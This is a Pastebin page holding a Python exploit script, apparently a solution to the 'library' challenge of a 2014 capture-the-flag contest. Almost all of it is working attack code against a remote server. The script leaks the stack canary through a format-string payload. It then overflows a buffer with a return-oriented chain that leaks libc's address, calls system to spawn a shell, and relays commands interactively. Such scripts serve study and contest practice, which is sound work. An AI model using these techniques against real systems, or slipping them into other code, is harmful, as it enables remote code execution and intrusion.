Advertisement
Guest User

isg2014 - library.py

a guest
Sep 29th, 2014
319
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.26 KB | None | 0 0
  1. import socket
  2. import time
  3. import struct
  4. import re
  5.  
  6. sk = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  7. sk.connect(('202.120.7.68',23333))
  8.  
  9. def R():
  10.   return sk.recv(40960)
  11.  
  12. def S(x):
  13.   sk.send(x)
  14.  
  15. def PD(x):
  16.   return struct.pack('I',x)
  17.  
  18. def DR():
  19.   s = ''
  20.   while True:
  21.     x = R()
  22.     s += x
  23.     if 'Quit\n' in x:
  24.       return s
  25.  
  26. DR()
  27. S('1\n'+PD(0x0804B009)+'%35$x%10$hn\n')
  28. magic = PD(int(re.findall('Mr\./Mrs\. ....([0-9a-f]*)\n',DR())[0],16))
  29. print 'StackGuard:', magic.encode('hex')
  30.  
  31. query_text = 0x08048971
  32. puts_plt = 0x08048520
  33. read_got = 0x0804AFC4
  34. read_off = 0x000db4b0
  35. gets_off = 0x00065560
  36. system_off = 0x00040100
  37. pop_ret = 0x08048C3F
  38.  
  39. S('2\n' + 'A'*0x100 + magic + PD(0) + PD(0) + PD(0) +
  40.     PD(puts_plt) + PD(query_text) + PD(read_got) +
  41.     '\n')
  42. time.sleep(0.5)
  43. read_libc = struct.unpack('I',re.findall('library :\'\(\n(....)',R())[0])[0]
  44. libc_base = read_libc - read_off
  45. print 'libc_base:', hex(libc_base)
  46.  
  47. gets_libc = gets_off + libc_base
  48. system_libc = system_off + libc_base
  49.  
  50. S('A'*0x100 + magic + PD(0) + PD(0) + PD(0) +
  51.     PD(gets_libc) + PD(system_libc) + PD(0x0804B008) + PD(0x0804B008) +
  52.     '\n')
  53. time.sleep(0.5)
  54. print R()
  55. S('sh\n')
  56. while True:
  57.   S(raw_input('$ ')+'\n')
  58.   time.sleep(0.5)
  59.   print R()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement